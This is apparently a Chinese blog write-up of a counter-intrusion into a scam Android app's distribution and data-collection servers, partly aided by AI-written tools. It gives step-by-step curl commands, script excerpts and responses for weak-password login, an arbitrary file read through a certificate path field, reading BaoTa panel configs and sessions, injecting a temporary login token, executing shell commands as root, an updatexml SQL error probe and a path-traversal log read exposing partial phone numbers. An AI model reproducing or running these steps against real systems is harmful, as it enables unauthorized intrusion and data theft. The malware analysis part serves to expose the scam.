0x00 目标来源与初始样本
昨天正在愉快的网络冲浪,然后突然收到一个私信

目标这不就来了吗
直接无视风险继续访问,下载安卓样本 VO5z0mNhEH.apk
用匹配脚本先大概跑了一下,链路分成了两段:
154.193.XXX.XX/xwew.XXXXX.sbs/down.XXXXXXXX.one:负责 APK 打包、分发、证书、下载和运维156.254.XX.XX:1011:负责 APK 装机后的通讯录、短信、通话记录、图片等数据回传
0x01 从下载页反向定位 APK 打包后台
先摸一遍第一段,能很快看到一个完整的APK分发后台
后台登录页如下:

这个站点的前端包里能看到比较完整的后台模块,包括:
应用管理 分发列表 证书管理 OSS 配置 下载域名
也就是说,它不是一个单纯落地页,而是一整套 APK 生产和投放平台
直接进入后台登录测试
0x02 使用弱口令进入分发管理后台
第一个点很easy,后台存在弱口令。
测试登录:
curl -sk 'https://xwew.XXXXX.sbs/api/manager/login' \ -H 'Content-Type: application/json' \ --data '{"username":"admin","password":"123456","code":"","key":""}'返回结果非常干脆:
{"code":0,"msg":"成功","data":{"role":"admin","expireTime":null,"permissions":null,"webSocketUrl":"ws:154.193.XXX.XX:443/websocket","userId":1,"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.XXXXXXXXXXXXXXXXXXXXQ4NiwidXNlcklkIjoxfQ.yEMQbv1PNA8uYON4fjcca2JolHfuZwxPyp6f7xMryU0","username":"admin"}}后台登录成功以后,后面的测试就简单很多了。这个 token 足够继续访问后台管理接口,也能直接看到应用、分发和证书相关的数据
整个 APK 投放链的管理面GET
0x03 利用证书下载功能实现任意文件读取
拿到后台以后,证书模块是最值得盯的一块。这里的核心问题是证书记录里的 path 字段可控,而下载接口又会按这个路径直接把文件返回出来
整理成了一个小脚本:
resp = session.put(f"{base_url}/api/certificate/update", headers=build_headers(token, host_header, "application/json"), data=json.dumps(payload, ensure_ascii=False).encode(),)resp = session.get(f"{base_url}/api/oss/downKeyStore/{APP_ID}", headers=build_headers(token, host_header),)核心逻辑就是两步:
PUT /api/certificate/update改证书路径GET /api/oss/downKeyStore/67按这个路径把文件下载回来
先用 /etc/hosts 做一个最小验证:
python3 file_read.py /etc/hosts -o xwew_etchosts.bin后台里的证书记录会被改成这样:
{"id":1,"name":"CERT_ETC_HOSTS","path":"/etc/hosts","alias":"test","storePass":"test123","keyPass":"test123","usable":false,"type":2}下载响应头:
HTTP/1.1 200Content-Disposition: attachment;filename=hostsContent-Type: application/octet-stream;charset=utf-8Content-Length: 158回包内容:
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4::1 localhost localhost.localdomain localhost6 localhost6.localdomain6这次打出来了任意文件读取
0x04 借助任意文件读取摸宝塔信息
任意文件读取打出来以后,先沿着运维面去读关键文件
先读面板入口和端口
python3 file_read.py /www/server/panel/data/admin_path.pl -o www_server_panel_data_admin_path_pl_freshpython3 file_read.py /www/server/panel/data/port.pl -o www_server_panel_data_port_pl_freshpython3 file_read.py /www/server/panel/data/session_timeout.pl -o www_server_panel_data_session_timeout_pl_fresh拿到的内容分别是:
/9e8XXXXX41XXX86400这一步已经把宝塔真实入口直接定出来了:
https://154.193.XXX.XX:41XXX/9e8XXXXX
再读宝塔配置文件
python3 file_read.py /www/server/panel/config/config.json -o www_server_panel_config_config_json_freshpython3 file_read.py /www/server/panel/config/api.json -o www_server_panel_config_api.jsonconfig.json 里可以确认这就是标准的宝塔 Linux 面板:
{"language": "Simplified_Chinese","title": "宝塔Linux面板","brand": "宝塔","product": "Linux面板","root_path": "/www","setup_path": "/www/server","logs_path": "/www/wwwlogs"}api.json 则给出了面板另一层登录控制信息:
{"open": false, "token": "", "limit_addr": [], "binds": [{"time": 17780XXXX.XXXXXX, "token": "OalXXXXXXXXXXoHR", "status": 0}], "apps": [], "key": "ECXXXXXXXXXXHAn"}接着读面板数据库和会话文件
python3 file_read.py /www/server/panel/data/db/panel.db -o www_server_panel_data_db_panel_dbpython3 file_read.py /www/server/panel/data/session/a79111018d74cdbccfa463a143cbdcca -o www_server_panel_data_session_a79111018d74cdbccfa463a143cbdcca直接看字符串:
strings -a www_server_panel_data_session_a79111018d74cdbccfa463a143cbdcca | \ rg "username|login_address|email|listen_port|address|admin_path|login|admin_auth"能直接提出这些关键字段:
admin_path/9e8XXXXXlisten_port41XXXaddress154.193.XXX.XXusernameykXXX1sloginadmin_authlogin_address156.254.XX.X(Cloudinnovation 中国 香港)emailtest@message.com再往前一步,进面板取证
0x05 通过宝塔原生临时登录链拿到后台会话
既然已经读到了宝塔的配置和登录控制文件,那就让宝塔直接签一个新的会话
宝塔本身就支持临时登录 token。从读出来的源码里可以看到,登录逻辑会接受 tmp_token:
if get.tmp_token != data['tmp_token']: return public.error_not_login()session['tmp_login'] = TrueAI做了一个很小的 Java agent: 往 /www/server/panel/config/api.json 里补一组 tmp_token/tmp_time。
ApiJsonTmpTokenAgent.java:
privatestaticfinal String TMP_TOKEN = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";body = prefix + "\"tmp_token\":\"" + TMP_TOKEN + "\",\"tmp_time\":" + now + "}";这一步的重点不是 agent 本身,而是确认了一件事:只要能影响宝塔服务端的 api.json,后面就可以直接走宝塔自带的临时登录流程,不必再死磕浏览器侧那段 signed session cookie。
补进去以后,api.json 变成了这样:
{"open": false, "token": "", "limit_addr": [], "binds": [{"time": 1778049191.5461419, "token": "OalXXXXXXXXXXoHR", "status": 0}], "apps": [], "key": "ECXXXXXXXXXXHAn","tmp_token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","tmp_time":1778148239}随后直接访问宝塔的临时登录入口:
curl -sk \ -D bt_agent/bt_tmp_login_headers.txt \ -c bt_agent/bt_tmp_login.cookies \'https://154.193.XXX.XX:41XXX/login?tmp_token=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \ -o bt_agent/bt_tmp_login_body.html返回头里能看到宝塔自己下发了新的会话 cookie:
HTTP/1.1 302 FOUNDSet-Cookie: 903c223097107f37224123c724ced147_ssl=AAMFwGIqMEXSnGu7c.k2SCCxr65bOWbVKOHSc; Expires=Fri, 08 May 2026 10:04:16 GMT; HttpOnly; Path=/为了方便本地直接打开,又AI了一个 Playwright 脚本:
npm run btpackage.json
{"name": "x","private": true,"scripts": {"bt": "node open_bt_playwright.js" },"dependencies": {"playwright-core": "^1.59.1" }}open_bt_playwright.js:
await context.addCookies([ {name: '903c223097107f37224123c724ced147_ssl',value: 'AAMFwGIqMEXSnGu7c.k2SCCxr65bOWbVKOHSc',domain: '154.193.XXX.XX',path: '/',httpOnly: true,secure: true,sameSite: 'None', },]);await page.goto('https://154.193.XXX.XX:41XXX/home', {waitUntil: 'domcontentloaded',});这一步打完,面板就实打实已经进去了

0x06 进入宝塔后验证高权限执行能力
进面板后调用它自己的文件接口,把命令执行一遍
下发命令:
curl -sk 'https://154.193.XXX.XX:41XXX/files?action=ExecShell' \ -b bt_agent/bt_tmp_login.cookies \ -H 'x-http-token: yT8g5IIdAK2jNY2lK8IfE1DrhZkWjicUd98W3dUUZUamP0Hn' \ -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ --data-urlencode 'path=/' \ --data-urlencode 'shell=whoami'读执行结果:
curl -sk 'https://154.193.XXX.XX:41XXX/files?action=GetExecShellMsg' \ -b bt_agent/bt_tmp_login.cookies \ -H 'x-http-token: yT8g5IIdAK2jDrhZkWjicUd98W3dUUZUamP0Hn' \ -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ --data 'path=/'返回结果:
{"status": true, "msg": "root"}再读命令结果:
curl -sk 'https://154.193.XXX.XX:41XXX/files?action=GetFileBody' \ -b bt_agent/bt_tmp_login.cookies \ -H 'x-http-token: yT8g5IIdAK2jNYKcUd98W3dUUZUamP0Hn' \ -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ --data-urlencode 'path=/www/server/panel/data/execshell.pl'返回:
{"status": true, "only_read": false, "size": 5, "encoding": "ascii", "data": "root\n", "historys": [], "auto_save": null, "st_mtime": "17781XXXX"}到这里其实已经不需要再打什么了:面板拿下了,命令执行是 root
0x07 顺着分发配置检查泄露的 OSS 对象
既然是个APK分发平台,那OSS也该看一眼

阿里云上大分 腾讯云上大分

阿里云OSS里面没什么东西,腾讯云的懒得再看了

对象头:
key,content_length,content_type,etag,last_modified_isotest,1,application/octet-stream,C4CA4238A0B923820DCC509A6F75849B,2026-05-04T10:36:14Z5b6c217294fb41d9b9ff42b7a0d6f95e.apk,79568173,application/vnd.android.package-archive,A8FA642ADEDFA0ED099XXXX,2026-05-05T10:34:22Zba0f8496acd4499ea986977b9bc1aa92.apk,80117372,application/vnd.android.package-archive,EBCFCF9B18CB4F071EDXXXX,2026-05-05T13:49:57Zed21080561864d73af40f0b6175209bd.apk,92463871,application/vnd.android.package-archive,A31737AB3CEE4974082XXXX,2026-05-05T13:32:16Z0x08 逆向 APK 定位真实的数据回传接口
上面那条链拿到了投放侧,接下来回到APK本身,去看它装到手机上以后到底把什么东西往哪里送
直接在解包结果里搜接口和权限,先看前端逻辑:
rg -n "AppUrl=|uploads/getuserid|uploads/apisms|uploads/img|uploads/api" \ jadx_0d6b/resources/assets/apps/__UNI__D71B188/www/app-service.js很快就能定位到回传基址:
http://156.254.XX.XX:1011/api/以及几个核心接口:
POST /api/uploads/apiPOST /api/uploads/getuseridPOST /api/uploads/apismsPOST /api/uploads/img再看权限:
rg -n "READ_CONTACTS|READ_SMS|READ_CALL_LOG|READ_EXTERNAL_STORAGE|READ_PHONE_STATE" \ apktool_0d6b/AndroidManifest.xml能确认样本显式申请了:
android.permission.READ_PHONE_STATEandroid.permission.READ_EXTERNAL_STORAGEandroid.permission.READ_CONTACTSandroid.permission.READ_SMSandroid.permission.READ_CALL_LOG真正有意思的不是权限名字,而是业务代码已经把这些权限串起来用了 在 app-service.js 里可以直接看到:
读取已安装应用列表,拼到 appListName读取通讯录后走 uploads/api读取短信后走 uploads/apisms压缩相册图片后走 uploads/imgAppUrl被写死为http://156.254.XX.XX:1011/api/
也就是说,这个 APK 直接在代码里就把上传链写好了
0x09 在上传站触发 Debug 页面与日志泄露
定位到上传站以后,思路就很明确了
先用异常参数把 Debug 页面打出来
我用下面这条请求去打 apisms:
curl -s 'http://156.254.XX.XX:1011/api/uploads/apisms' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'data=[{"imei":["exists","select updatexml(1,concat(0x7e,database(),0x7e),1)"],"imei2":["neq",""]},{"Foo":"bar"}]'返回的是完整的 ThinkPHP 报错页:

里面能直接看到这些关键内容:
ThinkPHP 5.0.24/www/wwwroot/156.254.XX.X/thinkphp/library/think/db/Connection.php line 387SELECT * FROM `app_user` WHERE EXISTS ('select updatexml(1,concat(0x7e,database(),0x7e),1)') AND `code` <> 0 LIMIT 1mysql127.0.0.1zc011app_/www/wwwroot/156.254.XX.X/public/www/wwwroot/156.254.XX.X/runtime/log/再从公开路径把日志文件读出来
有了 runtime/log 目录以后,继续往文件层试,很快就能把公开日志读出来。
请求如下:
curl 'http://156.254.XX.XX:1011/image/%2e%2e/url/2026050700error.txt'返回内容里已经出现真实手机号和业务事件:
2026-05-07 00:04:58-成功-2026-05-07 00:06:59--重复号码,请换号码进行登录--1398747XXXX2026-05-07 00:10:58-成功-2026-05-07 00:11:00--重复号码,请换号码进行登录--1350035XXXX2026-05-07 00:14:16--重复号码,请换号码进行登录--1350035XXXX2026-05-07 00:14:22--重复号码,请换号码进行登录--1350035XXXX2026-05-07 00:23:11-成功-
其他信息这里不做展示了
从样本逻辑本身可确认,云端可接收到的受害者数据至少包括:
手机号 邀请码 设备品牌 通讯录数量与详细名单 短信数量与详细内容 通话记录 相册图片 已安装应用列表
0x0A 成果展示



还是那句话,兄弟们,网络交友需谨慎不要乱下软件


0x0B 简单总结
154.193.XXX.XX 打包分发与运维侧
后台弱口令可直接登录: admin / 123456证书模块可改任意路径, downKeyStore可直接回显目标文件已稳定读取: /etc/hosts/www/server/panel/data/admin_path.pl/www/server/panel/data/port.pl/www/server/panel/config/config.json/www/server/panel/config/api.json/www/server/panel/data/db/panel.db/www/server/panel/data/session/a79111018d74cdbccfa463a143cbdcca已还原宝塔入口: /9e8XXXXX已还原宝塔端口: 41XXX已还原面板用户: ykXXX1s已还原会话信息中的登录来源: 156.254.XX.X(Cloudinnovation 中国 香港)已拿到宝塔真实会话并进入后台 已验证 ExecShell命令执行结果为root已确认分发记录中存在真实投放 APK 的 OSS 地址 已枚举出多个实际 APK 对象: 0d6b3a9ad1f24bea8cc33e2a1c0f3eba.apk5b6c217294fb41d9b9ff42b7a0d6f95e.apkba0f8496acd4499ea986977b9bc1aa92.apked21080561864d73af40f0b6175209bd.apk
156.254.XX.XX:1011 数据回传侧
APK中数据上报基址: http://156.254.XX.XX:1011/api/已定位四个核心接口: POST /api/uploads/apiPOST /api/uploads/getuseridPOST /api/uploads/apismsPOST /api/uploads/imgAPK已显式申请并调用: 通讯录读取 短信读取 通话记录读取 外部存储读取 手机状态读取 已打出 ThinkPHP Debug 页面,拿到: ThinkPHP 5.0.24数据库类型 mysql数据库地址 127.0.0.1数据库名 zc011表前缀 app_项目路径 /www/wwwroot/156.254.XX.X/public日志目录 /www/wwwroot/156.254.XX.X/runtime/log/已通过公开路径读取业务日志 已看到真实手机号、带后缀的业务标识和登录事件
免责声明:
本文所有黑产相关信息、登录IP等均已提交至相关公安机关备案,涉及内容已做严格脱敏处理。文章所提及的技术均为网络安全领域的常规渗透测试方法,不包含任何框架 0day 漏洞、新型攻击手段及未公开的技术细节。
请务必遵守国家法律法规及网络安全相关规定,严禁利用本文所述技术从事任何非法测试、攻击等危害网络安全的行为。因传播、使用本文信息而导致的任何直接或间接损失、法律责任,均由使用者自行承担,与文章作者及发布方无涉。本文允许转载,但转载时需在显著位置标明原文出处及作者信息。
夜雨聆风